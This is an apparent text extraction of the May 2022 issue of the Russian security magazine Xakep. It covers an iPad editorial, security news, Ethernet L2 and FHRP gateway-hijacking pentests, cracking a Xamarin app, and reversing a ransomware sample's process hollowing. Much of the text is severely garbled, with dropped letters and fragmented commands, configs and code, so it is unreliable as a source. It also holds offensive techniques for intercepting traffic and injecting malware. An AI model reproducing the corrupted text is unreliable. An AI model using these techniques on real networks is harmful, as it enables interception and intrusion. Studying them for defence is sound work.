haker_052022

Page 1

ПОДПИСКА НА «ХАКЕР» Мы благодарим всех, кто поддерживает редакцию и помогает нам компенсировать авторам и редакторам их труд. Без вас «Хакер» не мог бы существовать, и каждый новый подписчик делает его чуть лучше.

Напоминаем, что дает годовая подписка: год доступа ко всем материалам, уже опубликованным на Xakep.ru; год доступа к новым статьям, которые выходят по будням; полное отсутствие рекламы на сайте (при условии, что ты залогинишься); возможность скачивать выходящие каждый месяц номера в PDF, чтобы читать на любом удобном устройстве; личную скидку 20%, которую можно использовать для продления годовой подписки. Скидка накапливается с каждым продлением. Если по каким-то причинам у тебя еще нет подписки или она скоро кончится, спеши исправить это!

Май 2022 № 278 CONTENTS Колонка главреда iPad это компьютер Самые важные события в мире инфосека за май MEGANews Большой гайд по пентесту канального уровня сети Ethernet Abyss Пентестим системы FHRP и перехватываем трафик в сети Gateway Bleeding Изучаем и взламываем мобильное приложение на С# Игривый Xamarin Реверсим шифровальщика Уроки форензики Как специалисты нашли уязвимость и взломали прошивку МФУ Купила мама Konica Разбираемся с внутренним устройством ELF файлов Анатомия эльфов Определяем курс выполнения программ при реверсинге Фундаментальные основы хакерства Изучаем условные переходы в обработке современными компиляторами Фундаментальные основы хакерства Обходим AMSI в PowerShell Web Access при пентесте машины на Windows HTB Search Подделываем токен JWT и захватываем сервер через curl HTB Unicode Подделываем цифровой отпечаток для доступа к закрытому контенту HTB Fingerprint Захватываем сервер через систему мониторинга Pandora HTB Pandora Захватываем сервер через Fail2ban HTB AdmirerToo Собираем утилиты, которые облегчат жизнь и работу Мастерская хакера Собираем монитор из электронно лучевой трубки Теплый ламповый дисплей Собираем устройство с интегральными микросхемами Бунт многоножек Кто делает этот журнал Титры

ЭТО КОМПЬЮТЕР IPAD — КОЛОНКА ГЛАВРЕДА А й П й р д р i @ il HEADER Два месяца назад я оказался без десктопа и решил заменить его айпадом с клавиатурой Сегодня я вкратце расскажу о своих приключениях и о том можно ли кодить на айпаде (спойлер: можно!) Если продукция Apple тебя раздражает смело проходи мимо Или не проходи если все же хочешь узнать о таком редком явлении как новая раз новидность компьютеров К д й р р Х р р б это вызывает у некоторых читателей жесткое непонимание: какого черта глав ред такого журнала пользуется не обклеенным крутыми наклейками ноутом Lenovo с Kali или хотя бы Manjaro?! Причина проста мои рабочие задачи р б д у а возможность поковыряться в командной строке это приятный факуль татив Весь прошлый год моей рабочей лошадкой был Mac Mini на M1 с внешним р Н ру ц д р р у у й р р д С П рбур у д у в Ростовскую область Когда я стал разбирать приехавшие на грузовике коробки обнаружился только системник Можешь себе представить мой вопль ужаса и отчаяния! В ру р д М у у у посещала мысль временно отжать у супруги новенький iPad Pro 12 9 куп ленный для рисования приобрести к нему Magic Keyboard и попробовать поработать как за ноутбуком Вот и повод нашелся! П у щущ й д ур й р К буд р щ р ур р у р р на Но стоит немного привыкнуть и понимаешь что это какой то совершенно другой новый и неизведанный компьютер Я о аса с о о су с е ра о о о бу е ре ра ой ро ду й р б Н р ! П д у у iP d OS р ю э у роб е у На ер у у а до о р о е о а р о по которой выводит меню переключения в режимы Split View и Slide Over: раз деление пополам или плавающее окошко Э ф р р р б д р д д д б уд б р р щ Некоторая скованность компенсируется тем что больше не нужно искать окна глазами регулировать их размеры и расположение Вношу изменения в финальную версию текста на основе диффа двух черновиков Экран откровенно мал но работать можно Проблемы впрочем тоже встречаются Пока что далеко не все программы оро о ада ро а д а а ур а ада И од з а ару й T l g В у у р р б р р мени перестает реагировать на клики сделанные курсором мыши и глючит от поворота экрана В других программах тоже попадаются мелкие проблемки В целом й Sp k д д д р C d C И р ру р р й б д р сии для iOS не поддерживает поиск по тексту: жмешь Cmd F и удивляешься что ничего не происходит iA Writer замечательный редактор Markdown так оро у ас о ер ас а ес ру з у а о р щ д д у дру B Зато я по достоинству оценил мощь кнопки Share которая есть почти на каждом экране каждого приложения для iOS Данные легко передаются из программы в программу (или даже в свой скрипт) без всякой нужды в фай р б Ду буд д ц заполучу свой десктоп обратно Как ты уже понял жонглировать органайзерами почтовиками и докумен тами в iPad OS не проблема А что насчет хакерских делишек? И можно ли д ? К д ! Пр р C d Shortcuts и прочими родными для айпада методами И даже пор тативные никсы вроде и a Shell вовсе не предел мечтаний Pyth i t S ift Playgrounds iSH Как вариант можно использовать Raspberry Pi или удаленный сервер SSH у ду Vi E а также полный набор хактулз INFO Пользователям Vim важно знать что у Magic Keyboard нет кнопки Escape как и всего верхнего ряда F клавиш Но положение не безвыходное: о о ере аз а Escape а Caps Lock а о у обус У е ро е а а с о е р р д бу б р д Ну д й й iP d OS р Еще я вспомнил что существуют облачные IDE и решил попробовать Об р р б б бэ е д Об д ю дос у о ес у з о фрей ор о оз о ю ставить модули и дают доступ к командной строке Увы оба подолгу запус кают проекты из за того что постоянно норовят погасить твой контейнер р ду щ у б р repl it Glit h И у р щ ру VS C d ! Д д й VS Code который сейчас стал программистским стандартом де факто Неуре занный и с полной поддержкой расширений! Как такое возможно в iOS? Дело в том что VS Code это по сути веб приложение упакованное в Chromium Н у й р р р бр у р Т р VS C d у ущ у О вится буквально одной командой После этого ты открываешь страницу и работаешь с самым обычным VS Code Никаких проблем и хитростей раз е о у о об за е о ас ро HTTPS d Здесь доступен полноценный терминал причем он продолжает выполнять команды даже если закрыть страницу Интерфейс отзывчивый поскольку целиком загружается в браузер а между клиентом и сервером пересылаются б д д Д ф р й р б д б б ное соединение но необязательно быстрое Не исключаю что я бы держал code server на своей VPS даже если бы не пытался выживать с айпадом подобно Робинзону Крузо на необитаемом р П д у р й р й р б р д р ф р р р Х р ный способ в таком случае это все же VS Code Server WWW энтерпрайз версия code server созданная его разработчиками Сoder com браузерная версия VS Code развернутая командой разработчиков из Microsoft Работает только в деморежиме VSCode dev оф ц а й о о е VS Code д уда е ой рабо с одо ( э о р VS C d у ) VS Code Se e Не за у айс ! Ну и напоследок посоветую софт который делает всякое гиковство на айпаде приятнее и веселее: (его стоит поставить уже только ради дд р SFTP Fil ) р р д S f i р д р ру д р б р б ф й в JSON терминал Blink W b I p t R t J y На май 2022 года упомянутые в тексте приложения Spark Codea a Shell едос у росс йс о App Sto e О р а о е догадаться сам или узнать у разработчиков Популярнейшее приложение Documents которым я открываю архивы 7zip и RAR постигла та же судьба Ïðèìå÷àíèå

В этом месяце: в праздники RuTube атаковали хакеры у Delivery Club и Гемотеста утекли пользовательские дан ные исследователи взломали PlayStation VR и Tesla автором шифровальщиков Jigsaw и Thanos оказался 55 летний врач хак группа Conti прекратила работу а в Microsoft Office наш ли опасную уязвимость Follina АТАКА НА RUTUBE д р д р д р б й б 90% р д д р у р р д б P iti T h l i (PT E t S it C t ) р р р у р ф б П р р р ру б й R T b « »ó ó й б ф б у фр ру ур р РФ) й б б у р р у уд « » ó ð ð ð á é р д р р р р « » ð ð ó Â á á Î 11 2022 й др ф р р д й у р р T h l i (PT E t S it C t ) с б ую р бо у с о е р е з руз у део ро еде ХАКЕРОВ ПРОТИВ СБЕРБАНКА100 000 24 ф б й б й р щ у рд р р у у у р р р д р ф р р й Т й США Я В б М б Гб й / 27 000 450 р у р р ф DD S б УТЕЧКИ, УТЕЧКИ й П б ß Å р р р р у б ДД Д дру Т Я ф ду р д ру р ц ф ф р ц б й й р д р ур р р д Я Е ГИБДД СДЭК A it Wildb i Б й дру др р ф р К й б й б ф р ц ур ру СМИ б й й В П ( р Д р р р ) П Д ( б О Д ) 30 « » Ì é ô ó ó ð ð ð ð ô ð б р р р ф р ц у р д б Т A it б р D li Cl b ц ц g g ( ) ру Cl b р у р р р у ф (827 758 ) р ( ф р ) (183 852 ) IP (507 673 ) П д р у д д р д р g g ( ) ру й б Г П б д р р у ф р ц д И П й б Ге о ес о ер с е фа а ерс ой а а еса о р у ф р у р ур у р у р р р р Г р р р р ф р ц щ ДЕФИЦИТ ДО ГОДА2024 р р д ф ц у р д ф б 2023 р ( g ) р д у у д → М б 2024 ( б 0 3 ) ф б р р р МАЛВАРЬ НА ВЫКЛЮЧЕННОМ IPHONE б ПО iPh б у р В э ер о о реб е ( o po e ode ) o e об ру о о й П р р р р р д ур ф р р р д у р (UWB) й « » LPM ( Fi d M ) р р у р р р р р у р р б В й й у р р р у б б д р у б Bl t th LPM iPh 13 у р д Bl t th б р pp ду д у р Т б р ру р И б A l у р Д ( ) ру р у р р у р д 92% 19 000 р р р 88% 119 000 14 000 С G l T d й 80% →

Н ВЗЛОМ PLAYSTATION VR р д д р р Ч F il0  PSVR у у д д О б Pl St ti VR б 5 th i t О у у ф б р у уд у д у К ( щ щ р ц р ) а е ф а S а ес е о о а а е е о з о а б йPSVR р р д ду дру у PSVR й ру ф р НОВЫЙ DDOS РЕКОРД р р ( q p ) О б б р р р р 15 р ф р у у рд б 1300 ДИКПИКИ ОТ БАНКА Н Б З б й б й ф р р О б о о аза с а з о е а о с е а а е р с С ф б й б р д д б б ф « »ð ð ð ô Bl i C t б ру р р у р ф NAS б б д р ру р ( ) р р р К Bl i C t б р д д р р р р О Bl b й у б б й б б у д д у р фу р б р р д р р д Д Ц Й р р рр р ) р ( ) р ( ) 25% 32% 30% р р р ц щ д р ур р д ( ) ( ) Д ( ) 30% 39% ВРАЧ ХАКЕР ИЗ ВЕНЕСУЭЛЫ р рд фр цу З Г (M i L i Z l G l ) g П М США З й p p д р б у ру « » ð é á фр щ g р б й ф й б S о е с ) ос о о ре ро с р сс о з П ID R Th р щ ф р д д р р у А б 2022 р р у й д д р ц у у у ф N h фр ру ур П ф В б б Ф 71% б б ф (0 08% 130 101 347 б В Bi й ф р ф BLUETOOTH АТАКА НА TESLA р p р р ру д р д y б й ф й ( б б ф ) Т й ду д у р р р ду р р П BLE ф б y р р р p щ д ру р р 30 GATT (G i ATTt ib t P l ) « » CC G С б р у р й б у й T l M d l 3 2020 А б б д д р д д д 7 ф й 3 б р у ф Т б T l M d l Y 2021 у T l l д д р у д р й K у д д д р ру р у р й BLE б й T l / БЛОКИРОВАННЫХ ПРИЛОЖЕНИЙ1 000 000 р g р р у у р р р д g y р д р у р A d id й 1 2 миллиона р р р р у р р 190 000 полумиллиона →

Н CONTI ПРЕКРАЩАЕТ РАБОТУ И C ti фр ру ур ру д ру р д О Е й Б й р щ у р фр ру ур ру й р щ д у д у T р р у у Х C i К Р о а е с ае о э о б о с е а о о о а аз о а ас Conti р р ру ру р « » ð á á á ó ó ð ) ð й б й ду р у р д ц ) C ti б р о е ес еро ере о ор о о ера оро з с а ас о р у р б о а ра оо ра е ор а о H ll Ki A L k Hi Bl kC Bl kB Т д р д ф В K k t Bl kB t B ll ВЫКУПЫ СТАНОВЯТСЯ БОЛЬШЕ Э G у р д р р LockBit Conti Pysa С й б С б 247 000 240 миллионов б 200% Dharma Crylock Thanos В Р ф й б 5000 строительства страхования агропромышленного комплекса ф 13 дней 9 дней р р р 18 дней 22 дней уд у р у р RDP серверов фишинг эксплуатация общедоступных при ложений ОБРАЗЫ DOCKER ДЛЯ DDOS АТАК б б 150 DD S р р ру ар е е е о о а с о ро ра с е а с ю а е е р р р р 24 й й б ру Н д щ р рф й L D k T TNT Д р р б й р ру р у редо ос обр з з ру е р о з oc e ub Су р о g g 100 ф б р р « » D k á é G HTTP b b di SHA И DD S б у р р р КРИТИЧЕСКИЕ ИНЦИДЕНТЫ УЧАСТИЛИСЬ П Л б К й р у р д р ф р щ 9 14% К ф 2021 б б телекоммуникационных промышленных ИТ компаниях госучрежде ниях р 41% 14% 13% 5 5% б 41 минуту 0 DAY В MICROSOFT OFFICE F lli Э б б р р р Об ар е е o a с ес а ре о с а о а а з Д б б б й б й р у ц р д р П й й W d й р ру ц б 2022 р р ф р р у « » ó ðó Об р у д у р Mi ft W d MSDT у р д д у у HTML Mi ft MS MSDT URI д д Offi ф й б р у р ре о ос й о о е срабо а а е без о р о е а о ес р р р р р р р д рд у б ) Offi 2021 р у ру щ р ущ Sh d Ch G ( ц ц уд д щ ) б б В Mi ft р д р у р е ер c oso t р з о роб е се е с з с безо с ос ю у у у б Wi d б б CVE 2022 30190 MSDT URI й у д у д р д у Х Mi ft D f d 1 367 719 0 б у ур pp б й р р р д р р д у у ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА р р р фр р р р р Б D kD kG б Mi ft

ETHERNET ABYSS Й ЙД КАНАЛЬНОГО УРОВНЯ СЕТИ б б ф Ä ф фф ф ф Д ф ф $ @ Ä ( ф ( ) ( ) ф ф @ $ @ Д

ETHERNET ABYSS Й Й ( ) Q ( ) ф / ф ф @ ф Д ф ( ) ( @ Д ф Д ф

ETHERNET ABYSS Й ЙД УРОВНЯ СЕТИ COVERSTORY НАЧАЛО СТАТЬИ ( g / ) ll i d l g y (p y y ) f i i / h g Gi0/3 D FWD 4 128 4 Sh g Gi1/2 D FWD 4 128 7 Sh g С S S 3 i bl d l C t 4 g y ( ) i i yp / G /0 8 5 S f l i b ICMP IP 10 1 1 100 IP В б ф р р VLAN ID E ti И ф VLAN ID R t Id ti ID Т б й VLAN ÈÑÒÎÙÅÍÈÅ È ÏÎÄÌÅÍÀ DHCP ÑÅÐÂÅÐÀ DHCP St ti й р р у р р р у д DHCPDISCOVER б C р р ру р д / C щ р Д р у р DHCP И б ф й ( () ) ) UDP 68 l67 i i dh di / ( t d t ) p ( p [( g yp di ) ( d )]) Д ф DHCP S i C р р р р р р д р р р у у д р р д др П й DHCP d f lt t б б д д у д р д В Y i i б й DHCP К ф DHCP Т Wi d 10 б р р у у р DHCP C \ i d \ t 32 i fi / l Т ф ф П ф й б й ф рд р ф рф @ $ p p В ф й FTP ф g g П FTP Ä В й б б й р у L2 б б у р ф ур ц у у ур

GATEWAY BLEEDING ПЕНТЕСТИМ СИСТЕМЫ И ПЕРЕХВАТЫВАЕМ ТРАФИК В СЕТИ FHRP Magama Bazarov e o Secu y pe 1 g g il COVERSTORY Существует множество способов повысить отказоустой чивость и надежность в корпоративных сетях Часто для это го применяются специальные протоколы первого перехода FHRP Из этой статьи ты узнаешь как пентестеры работают с FHRP во время атак на сеть WARNING С а ее оз а о е й ара ер ред назначена для специалистов по безопасности ро од щ ес ро а е ра а о ра а Автор и редакция не несут ответственности б й р д р й р изложенной информации Распространение вре доносных программ нарушение работы систем и нарушение тайны переписки преследуются о за о у ÇÀ×ÅÌ ÍÓÆÅÍ FHRP FHRP (First Hop Redundancy Protocol) это семейство протоколов обес печивающих избыточность сетевого шлюза Общая идея заключается в том чтобы объединить несколько физических маршрутизаторов в один логичес кий с общим IP адресом Этот адрес виртуального маршрутизатора будет з с ерфейс р ру з ор с е с ующей ро ю о с ою о еред зай е с фор ард о раф а Са е о у р е ро токолы класса FHRP это HSRP и VRRP о них мы сегодня и поговорим Òåîðèÿ ïðîòîêîëà HSRP Протокол HSRP (Hot Standby Router Protocol) это один из протоколов клас с FHRP оз о ющ ор зо с с е у о зоус ой ос юзо Разрабо а е ера Cisco Systems рабо ае о о а се е о обо рудовании Cisco Протокол реализован поверх стека TCP/IP и использует в качестве трансляции служебной информации протокол UDP на порте 1985 Суть конфигурации HSRP заключается в том чтобы объединить маршру тизаторы в одну логическую группу HSRP маршрутизаторов под специальным д ф р В й ру HSRP бр у й ар ру за ор о ор й о у р уа й IP адрес А о с ою о е редь будет назначаться как шлюз по умолчанию для конечных хостов Маршрутизаторы на которых функционирует HSRP для обмена служебной информацией используют так называемые Hello пакеты С их помощью устройства общаются между собой проводят выборы и сообщают друг другу Да HSRP раф а По умолчанию активный маршрутизатор каждые три секунды рассылает Hello бщ р у П р щ р Од в течение десяти секунд Standby маршрутизатор не получает ни одного Hello сообщения от Active маршрутизатора то он посчитает что активный маршру тизатор упал и возьмет на себя его роль исходя из значений приоритета Âåðñèè ïðîòîêîëà HSRP У р HSRP д р HSRP 1 HSRP 2 О дующими параметрами: количество возможных логических групп В HSRPv1 их может быть до 255 У HSRPv2 количество групп может достигать 4096; IP адрес мультикастовой рассылки HSRPv1 для трансляции служебной информации использует IP адрес а HSRPv2 ;224 0 0 2 224 0 0 102 виртуальный MAC адрес HSRPv1 в качестве виртуального MAC адреса использует У HSRPv2 виртуальный MAC адрес (где XX это номер группы HSRP) 00:00:0C:07:AC:XX 00: 00:0C:9F:FX:XX Ñóùíîñòè â äîìåíå HSRP В ра а ру HSRP ес ес о о сущ ос ей HSRP Active Router устройство играющее роль виртуального маршру тизатора и обеспечивающее форвардинг трафика из сетей источника до сетей назначения; HSRP Standby Router устройство играющее роль резервного маршру тизатора которое ожидает отказа активного маршрутизатора После аде ос о о о Acti e роу ера Standby роу ер оз е а себ а венствующую роль и будет заниматься обязанностями Active роутера; HSRP Group группа устройств членов одной HSRP группы обес печивают работу и отказоустойчивость логического маршрутизатора; HSRP MAC Address виртуальный MAC адрес логического маршрутиза тора в домене HSRP; HSRP Vi tu l IP Add ess э о с ец й р у й IP дрес ру е HSRP Данный IP адрес будет шлюзом по умолчанию для конечных хостов используется на самом логическом маршрутизаторе Òåîðèÿ ïðîòîêîëà VRRP VRRP (Virtual Router Redundancy Protocol) протокол разработанный а ес е бо ее с обод ой а ер а ро о о у HSRP Но ос о у о основан на феноменах протокола HSRP с его открытостью и свободой есть некоторые нюансы так что полностью свободным его не назвать VRRP почти ничем не отличается от HSRP выполняет те же самые функции и в его домене абсолютно те же сущности только называются они иначе В случае HSRP объявления генерировал не только Active роутер но и St dby р у р В у VRRP р у б й буд Master маршрутизатор на зарезервированный групповой адрес По у о ю е р е с VRRP р сс ю с дую се у ду 224 0 0 18 Д VRRP р ф Âåðñèè ïðîòîêîëà VRRP У р д р VRRP 2 VRRP 3 У VRRPv3 есть поддержка IPv6 VRRPv2 поддерживается только для сетей IPv4 У VRRPv3 отсутствует поддержка аутентификации у VRRPv2 имеется целых три способа аутентификации VRRPv3 в качестве таймингов использует сантисекунды VRRPv2 опериру у д Ñóù îñ äî å å VRRP VRRP Master Router это активный маршрутизатор отвечающий за передачу легитимного трафика в сети VRRP Backup Router маршрутизатор находящийся в режиме ожидания К ущ й M t R t у д р р буд выполнять его функции VRRP MAC Address виртуальный MAC адрес в группе VRRP ( ) Вместо номер группы VRRP 00:00:5E: 01:XX XX VRRP VRID идентификатор группы VRRP в рамках которой расположены физические маршрутизаторы VRRP Virtual IP Address специальный виртуальный IP адрес в домене VRRP Этот IP адрес используется в качестве шлюза по умолчанию для конечных хостов Âûáîð ãëàâåíñòâóþùåãî ìàðøðóòèçàòîðà В рамках протоколов FHRP выбор главенствующей роли маршрутизатора основывается на значении приоритета По умолчанию в момент конфигура ции на всех маршрутизаторах значение эквивалентно 100 единицам Мак симальное же значение приоритета лежит в диапазоне от 1 до 255 (для VRRP э о д зо сос е о 1 до 254) Если администратор не позаботился о ручной конфигурации значения приоритета на маршрутизаторах главным маршрутизатором станет тот у которого наибольший IP адрес Инженер с помощью конфигурации зна чения приоритета сам решает кто будет активным маршрутизатором а кто резервным р д →

GATEWAY BLEEDING ПЕНТЕСТИМ СИСТЕМЫ FHRP И ПЕРЕХВАТЫВАЕМ ТРАФИК В СЕТИ О С р р р VRRP У р р р 255 й С ф р ф р ф р р р ф D S й й й Я FHRP б й р ф ) Ч б б й S у р р р рgp р р ф ( ( ) у ф ( р ) р р р () g () () ( ) ( ) ( ) dd ( d d ) ( ф р рj IP TTL б 1 Е p р р р ру р у ф j ( ) () ( ) ( ) ( ) / / / d ( f d if i f i l b ) р р р у ф й Р б p В й IP йl i dd S ( ) р у р ( р )p р р р б 2 p 255 VRRP IP j ( ) () ( ) il ( id i i dd li i ) р / ф j ур С HSRP Ä Н VRRP 2 у у у ф ц у ру ф Д HSRP ф й у у p p j р ф @ $ j р ф К й ф й J h р д д щ ф h d h h j ф ф @ $ j / / / /

GATEWAY BLEEDING ПЕНТЕСТИМ СИСТЕМЫ FHRP И ПЕРЕХВАТЫВАЕМ ТРАФИК В СЕТИ COVERSTORY НАЧАЛО СТАТЬИ б б й ф 1 @M $ d if fi th0 i З ф й IP й IP ф HSRPWN 1 @M $ d th 3 HSRPWN i t f th0 1 S h db b i f | t G St t t St db t А ф HSRP R1 R2 g | / | f i i db i l К R1 R2 Т др р у р у р р рф g@ y g 255 0 у у й й б В IP ру р Д р у р ф б П IP др р ру р 1 @M $ d d l d f lt @ $ д д щ р ф у у у g@ y p j MASQUERADE р у Д FTP ф HSRP В й ф Д б ре о FTP сер ера i d t t t В й б р ф у р д р б б З VRRPWN p p Д VRRP h b i f / д р ру р ц Мар р за ор R1 R2 з е с о ро Те ер о р з аю ос р р у р у р р рф у 255 0 у р ру р R1 g@ y $ @ $ d dd k И SNAT $ Q П б R di FTP D t Д FTP ф VRRP й FTP ф П р д y p y Из сообра е й безо ас ос ре о е е с а Maste Acti e ар р р р р у у 2 й В й К ф HSRP 1 R1( fi )# i t 0/0 К ф VRRP 1 R1( fi )# i t 0/0 À ô р щ щ д щ р у ф К р р р ll h3 f0 0 ( g ) y g y К б Ci k h i у ф ц у ф ур ру д д Т й й о е р е с е о о бр аро о а а ос е о а р р у р R1 HSRP VRRP й Т ф у р р ру р р р ф ур ( fi ) k h i k h i R1( fi k h i )# k 1 # С й y р ру р у р R1( fi k h i k )# d lif ti 20 00 00 1 2022 20 00 00 ( g y ) y р р R1( fi k h i k )# k t i l0 1 b0 b # У р ру р уд р д ( fi k h i k ) d lif i y 2022 # У ( ) / ( g ) y y ф k h i Î S у р р р ур д р р д ф UDP 1985 Е у уд р д ц уду р C б S p ( fi l) i d h q р р ф б й 30 б й 1985 ( ) Д ( g ) p p y y р р ф ( g) g 0 # В ф ф й C ф ACL D HSRP q р р ф б б р у R1( fi t l)# d d 1985 1985 # Д R1( fi t l)# it i # Р й ф ( ) / ( g ) p g p p р й ф й N C б ( ) П FHRP р р р р р р р б б ф FHRP ро о о о р j g у р уф ф ф д р д р д й

ИГРИВЫЙ XAMARIN ИЗУЧАЕМ И ВЗЛАМЫВАЕМ МОБИЛЬНОЕ ПРИЛОЖЕНИЕ НА С# Программировать для Android можно J K tli Р б С# д об е р о е с о ощ ю формы Xamarin Сегодня мы поговорим о о а сс е о а а е р о е р б д П б A d id б б З покопаться в его потрошках! д р у р р д у р p y y t t t M i A ti it d th d C t \(L d id/ / ) \ ; M M i A ti it l M i A ti it d th d ) } bli id i ti it (){ p (); if ( hi l () i i i l ) { j [] j y j [ ]; M thi bjA ) t Это наводит на мысли что нам попался неправильный APK Возможно фр р р р бросается необычная для обычных мобильных приложений папка д р щ у у p p у д р уд д р д р б M й й A d id (ART) Н б ÂÛÁÈÐÀÅÌ ÈÍÑÒÐÓÌÅÍÒ У й б б й б й dll р р р р б й В б ф M A d id py py 3 й й у ос соф оз о е де о ро од С CIL (C I t di t L й б р у р у р р ф р д ф р ) б б ф й Si l bl l p y p Д APK тного для таких случаев apktool Ниже я объясню почему 7 б kt l й ф й APK С ф й kt l dll p g[] g [] { i } П б APK ф й ( DEFLATED) X i DLL (STORED) р р р р р p р у р щ р ф li й б б б б ? И П APK ф й й И б б й Е б bli dll ÏÀÒ×ÈÌ NET д р д р д S б б б Si l bl l (SAE) До ус еоб од о об д фу ц се д оз р щ { thi G tS t S i #0 0 0001d5( ti it ) ( y g ) { ; y g t ti N t kI f ! ll && ti N t kI f } П IL SAE д у д д у р у 0 L 0000 ld 0 y ( ) 4 L 0010 tl 0 6 L 0012 b t 9 ldl 0 t C t t t t t () 12 L 001d ldl 1 ldl y 18 L 0028 t Тут есть два пути д д у фу д у й Я б й б Б б й й весьма удобно конвертировать код из C в CIL h l b i д д ду щ b l f ti () { ; } IL 0001 ld i4 1 b В й б б Si l bl l б DLL Е де е о б с о ор соб р о б б б П й б APK б б й k\ ф р р у рекурсивный обход всех подкаталогов p r0 Д б й й О APK Затем нужно создать сертификат для подписи и поместить его в хранилище у у р ф р у д р ф щ у y META INF \A d id\A d id St di \j \bi \k t l k k t y y y y g y y i f i i i Wh t i th f i ti ? Wh t i th f Cit L lit ? y [ ] [ ] [ ] [ ] G ti 2 048 bit RSA k i d lf i d tifi t [ g y y ] Н j g g g g g y k k i dj h d li k p g p g g p y р у у у ф у р р р ф й Э ф й б б ОЗУ зо а е а о р о е е p g р i li 4 th d li k th d k Пос е э о о о о с е о с а а а ро ра а е ефо э ор р у р Ä К X i б ОС A d id б APK WWW р у б б б GDA d S SAE Sh l b p g

ШИФРОВАЛЬЩИКА РЕВЕРСИМ УРОКИ ФОРЕНЗИКИ В э ой с а е сс е е ре о ос й фай а р ере б р р й р б р ур Мы научимся вручную распаковывать код определим тех е ре ре о ос ой ро ра ро есс о е р д р R d Cyb D f d Н й й SOC б й й ф й Н б ния INFO сследо а е редо ос о о фа ла еоб од о р р р б б К С р у у р р д р з ру е е е о сс едо о резу р д р у р уду р д у р р р р р р редо ос É Д ф й ф 1 ф Dй IE 2 ф ф Pй St di 3 й б Iй DA P 4 инструмент для анализа сетевого Wтрафика ireshark у р р р р р ц д р д ф р у p р р р р р 8 9 Wi d й 64db А й б 1 С й 2 П й 3 Д й 4 С ÑÒÀÒÈ×ÅÑÊÈÉ ÀÍÀËÈÇ р у р д у у у ф р р д р у ф р ф р у ф у ф р ц р щ И й б C/C++ б 32 DIE ф й е оз о е Д э о о еоб о о ос о ре э ро ю фай а о се ц INFO р ф р З а е е э ро 6 з а фа у а о а з р су а е д о о ду ф р ц р ц р З ф й P St di б й ф Нам интересны временные метки компиляции файла загружаемые библиоте у р ур ф р ц р ф р р р д ф р ц ф р ( ) р д р д ф ур д ф р ц С р ф у Н й ф Wi d API З IN tSi й Т B S i й HTTPS б й ф й Wi h k K li Li З A i L б й ф й h l В Wi d API ф ф у фу ц ц д Д ущ р ц щ фу ц фу ц д д записываются в буфер в адресное пространство процесса Э у др р ц g y y P H ll i Т й й ф С й р у ф у д д р уp р p p З Д о реде е дрес с о е ф де е з рос й ф й p // i 2i htt //t l /fil /1/ b ild ру ф у g g у ру ф П б б ф й ф й IN tSi Т б р е HTTP за рос рес рс t k HTTP запрос к домену tzgk org р р ф g Ка о з р с а ро есс за с ае о ер е ро ессh ll b ild2 b ild3 h t В ф ф йh Содержимое зашифрованного файла б P H ll i А ф Wi d API б б й З б Д б е а за а о о о о с а ф рас а о ру ф д у д ф Т р у фу ц д р д р р р р р р у д П ф Vi t lAll у д д у фу ц ( ) Т ф Vi lAll Спускаемся пошагово ниже (F8) находим участок выхода из данной функции д ду щ у д д р д ду П ф р р р ру у д р д д с р е е ра ой о бере ере о ар е а р р у д д др у i t l ll 029 0000 j p p [ p ] [ p ] П а д о з р су а е де е о а ус а о е ра а а е е за с о е е Да ее о а ае ас о с о е о о кода по адресу выделенному с помощью функции Windows API ua o У д р д д у др фу ц kernel32 dll ntdll dll П Wi API ф й б б 32 k l32 tdll →

РЕВЕРСИМ ШИФРОВАЛЬЩИКА УРОКИ ФОРЕНЗИКИ ВЗЛОМ НАЧАЛО СТАТЬИ Если пролистать ниже то из библиотеки kernel32 загружается 16 функций: GetThreadContext VirtualAlloc VirtualAllocEx VirtualFree ReadProcessMemory WriteProcessMemory SetThreadContext R Th d W itF Si gl Obj t G tM d l Fil N A G tC dLi A Д й р д р й р д у б р р д St k St i g О д д ю ае с ере е е с ро с е о о о с о Об о э о о выделяется блок памяти далее с помощью инструкции символ помеща у б MOV После этого вредонос вызывает функцию а затем запутывает две строки и Спустись ниже о е о са й ро есс RegisterClassExA saodkfnosa9uin mfoaskdfnoa Во время поведенческого анализа мы обнаружили что после запуска файла создается дочерний процесс в который передается выполнение б б ру фу ц и Значит вредоносный модуль использует P H ll i g VirtualAllocEx GetThreadContext WriteProcessMemory SetThreadContext ResumeThread Так называется один из популярных методов внедрения вредоносного кода в память процесса Чтобы добиться результата вредоносное ПО уда е е од з а це е о о роцесса ереза с ае р р ф й С р р р й р р р ф ( ) ( ) О й р ц д р д буд фу ц З ц р ц б д р жимое легитимного файла заменяется вредоносной полезной нагрузкой C t P CREATE SUSPENDED 0 00000004 CREATE NO WINDOW 0 08000000 R Th d p i f i p i f i Т р д ру д у д р д д щ у для записи каждого из разделов вредоноса в прос транство целевого процесса Далее вредоносный модуль вызывает об у аза о е ода о разде ода о ор о записал В конце вредоносная программа возобновляет приостановленный о о з об ес роцесс з р ос о е о о состояния i t l ll WriteProcessMemory Set eadCo te t Спускаемся ниже по коду используя клавишу и попадаем к следующе му участку кода F8 В фу ц C t P A В регистре содержится адрес функции которая выпол няется с параметром равным ECX CreateProcessA dwCreationFlags 0x08000004 Д р фу Vi t lAll Выделение памяти Память выделяется по адресу Перейдем к дампу и увидим что он у 001F0000 Дамп выделенной памяти С у фу у о е с о о а G tTh dC t t зо фу ц Get eadCo te t Вызывается функция для получения дескриптора про цесса ReadProcessMemory В зо ф ReadProcessMemor Пр д фу ц р р Z U pVi OfS ti В зо ф ZmUnmapVie OfSection И ц фу ц б д р у Vi t lAll E Участок вызова функции VirtualAllocEx Стек вызываемой функции Вызываемая функция имеет пять аргументов что мы и видим в стеке: дес криптор процесса указатель на адрес области кода размер выделяемой об ас де е а защ а а д де е о об ас К д р р З а е е говорит нам о том что в выделенной области разре е ос а о е е за с е е 0 00003000 MEM COMMIT ( 0 0000 000) | S (0 0000 000) 0 000000 0 ( PAGE EXECUTE READWRITE) Адрес указывает на адрес где будет располагаться вре доносный код Далее вызывается функция 0x00400000 NtWriteVirtualMemory В ф NtW it Vi t lM В р д ду щ р р р д Значение стека вызова функции NtWriteVirtualMemory З д р р р ц б й др д у р ц др буф р о оро р с содер ое д з с дрес ое рос р с о ро ц р р д р ц 0 00000270 0 00400000 Здесь вредоносный код записывает каждый сегмент исполняемого файла др р р Н р д д р р д фу ц NtW it Vi t lM y З t t З d t З l Спускаемся ниже и видим выполнение функции которая используется для записи из буфера в адресное пространство процесса WriteProcessMemory В фу ц W i P M y Стек содержит следующие данные Значение стека З а е е э 